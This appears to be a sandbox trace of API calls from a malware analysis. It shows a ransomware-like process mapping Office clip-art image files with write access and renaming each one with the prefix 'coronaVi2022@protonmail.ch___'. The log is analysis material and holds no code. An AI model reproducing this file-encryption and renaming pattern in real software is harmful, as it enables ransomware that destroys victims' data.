	[0104.116] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01255G.gif") returned 97
	[0104.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01255G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01255G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01255g.gif")) returned 1
	[0104.117] free (_Block=0x51f3088) 
	[0104.117] RtlExitUserThread (Status=0x0) 

Thread:
	id = 812
	os_tid = 0x1d18

	[0104.118] _alloca_probe () returned 0x40328a
	[0104.119] GetCurrentThreadId () returned 0x1d18
	[0104.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp", dwFileAttributes=0x80) returned 1
	[0104.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf74
	[0104.120] GetFileSizeEx (in: hFile=0xf74, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31752) returned 1
	[0104.120] CreateFileMappingA (hFile=0xf74, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0f, lpName=0x0) returned 0xf20
	[0104.120] MapViewOfFile (hFileMappingObject=0xf20, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.127] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.127] CloseHandle (hObject=0xf20) returned 1
	[0104.127] GetCurrentThreadId () returned 0x1d18
	[0104.127] FlushFileBuffers (hFile=0xf74) returned 1
	[0104.130] CloseHandle (hObject=0xf74) returned 1
	[0104.130] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01265U.bmp") returned 97
	[0104.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01265U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01265U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01265u.bmp")) returned 1
	[0104.131] free (_Block=0x51f5098) 
	[0104.131] RtlExitUserThread (Status=0x0) 

Thread:
	id = 813
	os_tid = 0x1d1c

	[0104.132] _alloca_probe () returned 0x40328a
	[0104.132] GetCurrentThreadId () returned 0x1d1c
	[0104.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp", dwFileAttributes=0x80) returned 1
	[0104.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf20
	[0104.133] GetFileSizeEx (in: hFile=0xf20, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0104.133] CreateFileMappingA (hFile=0xf20, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xf0c
	[0104.133] MapViewOfFile (hFileMappingObject=0xf0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.140] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.141] CloseHandle (hObject=0xf0c) returned 1
	[0104.141] GetCurrentThreadId () returned 0x1d1c
	[0104.141] FlushFileBuffers (hFile=0xf20) returned 1
	[0104.143] CloseHandle (hObject=0xf20) returned 1
	[0104.143] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01332U.bmp") returned 97
	[0104.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01332U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01332U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01332u.bmp")) returned 1
	[0104.144] free (_Block=0x51f60a0) 
	[0104.144] RtlExitUserThread (Status=0x0) 

Thread:
	id = 814
	os_tid = 0x1d20

	[0104.145] _alloca_probe () returned 0x40328a
	[0104.145] GetCurrentThreadId () returned 0x1d20
	[0104.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp", dwFileAttributes=0x80) returned 1
	[0104.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0c
	[0104.146] GetFileSizeEx (in: hFile=0xf0c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31968) returned 1
	[0104.146] CreateFileMappingA (hFile=0xf0c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf38
	[0104.147] MapViewOfFile (hFileMappingObject=0xf38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.153] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.153] CloseHandle (hObject=0xf38) returned 1
	[0104.153] GetCurrentThreadId () returned 0x1d20
	[0104.154] FlushFileBuffers (hFile=0xf0c) returned 1
	[0104.158] CloseHandle (hObject=0xf0c) returned 1
	[0104.158] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01478U.bmp") returned 97
	[0104.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01478U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01478U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01478u.bmp")) returned 1
	[0104.159] free (_Block=0x51f3088) 
	[0104.159] RtlExitUserThread (Status=0x0) 

Thread:
	id = 815
	os_tid = 0x1d24

	[0104.155] _alloca_probe () returned 0x40328a
	[0104.156] GetCurrentThreadId () returned 0x1d24
	[0104.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp", dwFileAttributes=0x80) returned 1
	[0104.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf2c
	[0104.157] GetFileSizeEx (in: hFile=0xf2c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0104.157] CreateFileMappingA (hFile=0xf2c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xf78
	[0104.158] MapViewOfFile (hFileMappingObject=0xf78, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.166] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.166] CloseHandle (hObject=0xf78) returned 1
	[0104.166] GetCurrentThreadId () returned 0x1d24
	[0104.166] FlushFileBuffers (hFile=0xf2c) returned 1
	[0104.204] CloseHandle (hObject=0xf2c) returned 1
	[0104.204] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01562U.bmp") returned 97
	[0104.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01562U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01562U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01562u.bmp")) returned 1
	[0104.205] free (_Block=0x51f4090) 
	[0104.205] RtlExitUserThread (Status=0x0) 

Thread:
	id = 816
	os_tid = 0x1d28

	[0104.207] _alloca_probe () returned 0x40328a
	[0104.208] GetCurrentThreadId () returned 0x1d28
	[0104.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp", dwFileAttributes=0x80) returned 1
	[0104.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf78
	[0104.208] GetFileSizeEx (in: hFile=0xf78, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.208] CreateFileMappingA (hFile=0xf78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf0c
	[0104.208] MapViewOfFile (hFileMappingObject=0xf0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.215] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.216] CloseHandle (hObject=0xf0c) returned 1
	[0104.216] GetCurrentThreadId () returned 0x1d28
	[0104.216] FlushFileBuffers (hFile=0xf78) returned 1
	[0104.220] CloseHandle (hObject=0xf78) returned 1
	[0104.220] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01607U.bmp") returned 97
	[0104.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01607U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01607U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01607u.bmp")) returned 1
	[0104.221] free (_Block=0x51f3088) 
	[0104.221] RtlExitUserThread (Status=0x0) 

Thread:
	id = 817
	os_tid = 0x1d2c

	[0104.409] _alloca_probe () returned 0x40328a
	[0104.410] GetCurrentThreadId () returned 0x1d2c
	[0104.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg", dwFileAttributes=0x80) returned 1
	[0104.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf78
	[0104.410] GetFileSizeEx (in: hFile=0xf78, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=39614) returned 1
	[0104.410] CreateFileMappingA (hFile=0xf78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9acb, lpName=0x0) returned 0xf0c
	[0104.411] MapViewOfFile (hFileMappingObject=0xf0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.419] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.420] CloseHandle (hObject=0xf0c) returned 1
	[0104.420] GetCurrentThreadId () returned 0x1d2c
	[0104.420] FlushFileBuffers (hFile=0xf78) returned 1
	[0104.422] CloseHandle (hObject=0xf78) returned 1
	[0104.422] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01931J.jpg") returned 97
	[0104.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01931J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH01931J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph01931j.jpg")) returned 1
	[0104.423] free (_Block=0x51f4090) 
	[0104.423] RtlExitUserThread (Status=0x0) 

Thread:
	id = 818
	os_tid = 0x1d34

	[0104.424] _alloca_probe () returned 0x40328a
	[0104.425] GetCurrentThreadId () returned 0x1d34
	[0104.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg", dwFileAttributes=0x80) returned 1
	[0104.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf78
	[0104.425] GetFileSizeEx (in: hFile=0xf78, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=17694) returned 1
	[0104.425] CreateFileMappingA (hFile=0xf78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x452b, lpName=0x0) returned 0xf7c
	[0104.426] MapViewOfFile (hFileMappingObject=0xf7c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.430] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.430] CloseHandle (hObject=0xf7c) returned 1
	[0104.430] GetCurrentThreadId () returned 0x1d34
	[0104.430] FlushFileBuffers (hFile=0xf78) returned 1
	[0104.441] CloseHandle (hObject=0xf78) returned 1
	[0104.441] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02028K.jpg") returned 97
	[0104.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02028K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02028K.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02028k.jpg")) returned 1
	[0104.442] free (_Block=0x51f3088) 
	[0104.442] RtlExitUserThread (Status=0x0) 

Thread:
	id = 819
	os_tid = 0x1d38

	[0104.432] _alloca_probe () returned 0x40328a
	[0104.432] GetCurrentThreadId () returned 0x1d38
	[0104.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp", dwFileAttributes=0x80) returned 1
	[0104.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf80
	[0104.433] GetFileSizeEx (in: hFile=0xf80, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.433] CreateFileMappingA (hFile=0xf80, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf84
	[0104.433] MapViewOfFile (hFileMappingObject=0xf84, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.440] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.440] CloseHandle (hObject=0xf84) returned 1
	[0104.440] GetCurrentThreadId () returned 0x1d38
	[0104.440] FlushFileBuffers (hFile=0xf80) returned 1
	[0104.444] CloseHandle (hObject=0xf80) returned 1
	[0104.444] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02039U.bmp") returned 97
	[0104.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02039U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02039U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02039u.bmp")) returned 1
	[0104.448] free (_Block=0x51f60a0) 
	[0104.448] RtlExitUserThread (Status=0x0) 

Thread:
	id = 820
	os_tid = 0x1d3c

	[0104.450] _alloca_probe () returned 0x40328a
	[0104.451] GetCurrentThreadId () returned 0x1d3c
	[0104.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp", dwFileAttributes=0x80) returned 1
	[0104.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf78
	[0104.452] GetFileSizeEx (in: hFile=0xf78, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0104.452] CreateFileMappingA (hFile=0xf78, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xf84
	[0104.452] MapViewOfFile (hFileMappingObject=0xf84, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.458] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.459] CloseHandle (hObject=0xf84) returned 1
	[0104.459] GetCurrentThreadId () returned 0x1d3c
	[0104.459] FlushFileBuffers (hFile=0xf78) returned 1
	[0104.461] CloseHandle (hObject=0xf78) returned 1
	[0104.462] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02040U.bmp") returned 97
	[0104.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02040U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02040U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02040u.bmp")) returned 1
	[0104.462] free (_Block=0x51f3088) 
	[0104.462] RtlExitUserThread (Status=0x0) 

Thread:
	id = 821
	os_tid = 0x1d40

	[0104.464] _alloca_probe () returned 0x40328a
	[0104.464] GetCurrentThreadId () returned 0x1d40
	[0104.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg", dwFileAttributes=0x80) returned 1
	[0104.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf84
	[0104.465] GetFileSizeEx (in: hFile=0xf84, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=27388) returned 1
	[0104.465] CreateFileMappingA (hFile=0xf84, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b07, lpName=0x0) returned 0xf88
	[0104.465] MapViewOfFile (hFileMappingObject=0xf88, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.471] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.471] CloseHandle (hObject=0xf88) returned 1
	[0104.471] GetCurrentThreadId () returned 0x1d40
	[0104.471] FlushFileBuffers (hFile=0xf84) returned 1
	[0104.474] CloseHandle (hObject=0xf84) returned 1
	[0104.474] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02053J.jpg") returned 97
	[0104.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02053J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02053J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02053j.jpg")) returned 1
	[0104.475] free (_Block=0x51f4090) 
	[0104.475] RtlExitUserThread (Status=0x0) 

Thread:
	id = 822
	os_tid = 0x1d44

	[0104.476] _alloca_probe () returned 0x40328a
	[0104.477] GetCurrentThreadId () returned 0x1d44
	[0104.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp", dwFileAttributes=0x80) returned 1
	[0104.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf88
	[0104.477] GetFileSizeEx (in: hFile=0xf88, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0104.477] CreateFileMappingA (hFile=0xf88, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf8c
	[0104.477] MapViewOfFile (hFileMappingObject=0xf8c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0104.484] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0104.484] CloseHandle (hObject=0xf8c) returned 1
	[0104.484] GetCurrentThreadId () returned 0x1d44
	[0104.484] FlushFileBuffers (hFile=0xf88) returned 1
	[0104.486] CloseHandle (hObject=0xf88) returned 1
	[0104.487] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02058U.bmp") returned 97
	[0104.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02058U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02058U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02058u.bmp")) returned 1
	[0104.487] free (_Block=0x51f3088) 
	[0104.487] RtlExitUserThread (Status=0x0) 

Thread:
	id = 823
	os_tid = 0x1d48

	[0104.534] _alloca_probe () returned 0x40328a
	[0104.535] GetCurrentThreadId () returned 0x1d48
	[0104.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp", dwFileAttributes=0x80) returned 1
	[0104.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8c
	[0104.536] GetFileSizeEx (in: hFile=0xf8c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31968) returned 1
	[0104.536] CreateFileMappingA (hFile=0xf8c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xf90
	[0104.536] MapViewOfFile (hFileMappingObject=0xf90, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.557] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.557] CloseHandle (hObject=0xf90) returned 1
	[0104.557] GetCurrentThreadId () returned 0x1d48
	[0104.557] FlushFileBuffers (hFile=0xf8c) returned 1
	[0104.560] CloseHandle (hObject=0xf8c) returned 1
	[0104.560] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02062U.bmp") returned 97
	[0104.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02062U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02062U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02062u.bmp")) returned 1
	[0104.561] free (_Block=0x51f5098) 
